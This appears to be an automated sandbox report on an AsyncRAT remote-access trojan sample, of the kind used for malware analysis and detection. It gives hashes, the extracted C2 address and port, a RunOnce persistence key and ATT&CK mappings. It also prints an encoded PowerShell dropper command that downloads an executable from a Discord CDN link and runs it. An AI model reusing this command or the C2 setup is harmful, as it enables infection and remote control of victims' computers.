asyncrat | 9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7

Analysis

max time kernel
140s
max time network
152s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
13-12-2022 07:07

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General

Target

9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe
Size

6KB
MD5

f3fd315aaf2c1b97a2e1544e0690bd98
SHA1

bfd46bae2e0d27cd480156d5eed9fae6aa89e0cf
SHA256

9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7
SHA512

aba0442d2156311c6e60f5e4094cba3be229e6e7633992e9d800ea507941c474fdad873f4728b8e2e36554a2d969925e4cd7b22daac5c29698c2138c6d39bcc8
SSDEEP

96:ZH1V79+uL1bhycGmIW3nO8YGNErlCFAY+slsvk+L/zetKDgd3ojlrl:ZVd9+uL1bhyc4We8/NErpYXsvk+UdY

Score

10^/10

asyncrat windowsdefendersmarttscreen persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes

delay
1
install
false
install_file
WindowsDefenderSmarttScreen.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/2140-200-0x00000000054A0000-0x00000000054B2000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 4700 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

aas1ddfsa.exe

pid process

2140 aas1ddfsa.exe

flow	pid	process
6	4700	powershell.exe

pid	process
2140	aas1ddfsa.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aas1ddfsa.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	aas1ddfsa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	aas1ddfsa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4700 powershell.exe
4700 powershell.exe
4700 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4700 powershell.exe

pid	process
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4700	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exepowershell.exe

description	pid	process	target process
PID 2916 wrote to memory of 4700	2916	9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe	powershell.exe
PID 2916 wrote to memory of 4700	2916	9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe	powershell.exe
PID 4700 wrote to memory of 2140	4700	powershell.exe	aas1ddfsa.exe
PID 4700 wrote to memory of 2140	4700	powershell.exe	aas1ddfsa.exe
PID 4700 wrote to memory of 2140	4700	powershell.exe	aas1ddfsa.exe

C:\Users\Admin\AppData\Local\Temp\9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe
"C:\Users\Admin\AppData\Local\Temp\9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAcQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADEAOQAzADMAMwA1ADgANQAxADIANAAyADIAOQA5ADIALwAxADAANQAxADkAMwA4ADEAMAAyADAANgAwADUAMQA1ADQAMgA4AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAbgBrAHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAHAAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAHIAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAGEAcwAxAGQAZABmAHMAYQAuAGUAeABlACcAKQApADwAIwB6AHAAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBtAHEAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeABrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYQBhAHMAMQBkAGQAZgBzAGEALgBlAHgAZQAnACkAPAAjAHEAdwB5ACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4700

C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe
"C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2140

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/2140-179-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-163-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-150-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-151-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-152-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-181-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-154-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-155-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-156-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-158-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-159-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-161-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-160-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-182-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-162-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-164-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-165-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-166-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-169-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-170-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-168-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-171-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-167-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-173-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-172-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-183-0x0000000000820000-0x0000000000C4E000-memory.dmp

Filesize
4.2MB

Download
memory/2140-175-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-176-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-177-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-178-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-146-0x0000000000000000-mapping.dmp

Download
memory/2140-180-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-153-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-148-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-174-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-184-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-185-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-186-0x00000000054D0000-0x000000000556C000-memory.dmp

Filesize
624KB

Download
memory/2140-187-0x0000000005A70000-0x0000000005F6E000-memory.dmp

Filesize
5.0MB

Download
memory/2140-188-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-189-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-190-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-191-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-192-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-193-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-194-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-195-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-196-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-198-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-197-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-199-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-200-0x00000000054A0000-0x00000000054B2000-memory.dmp

Filesize
72KB

Download
memory/2140-201-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-202-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-203-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-204-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-205-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-206-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-207-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-208-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-209-0x0000000077570000-0x00000000776FE000-memory.dmp

Filesize
1.6MB

Download
memory/2916-120-0x00000000004E0000-0x00000000004E8000-memory.dmp

Filesize
32KB

Download
memory/4700-121-0x0000000000000000-mapping.dmp

Download
memory/4700-126-0x000001E675930000-0x000001E675952000-memory.dmp

Filesize
136KB

Download
memory/4700-129-0x000001E675AE0000-0x000001E675B56000-memory.dmp

Filesize
472KB

Download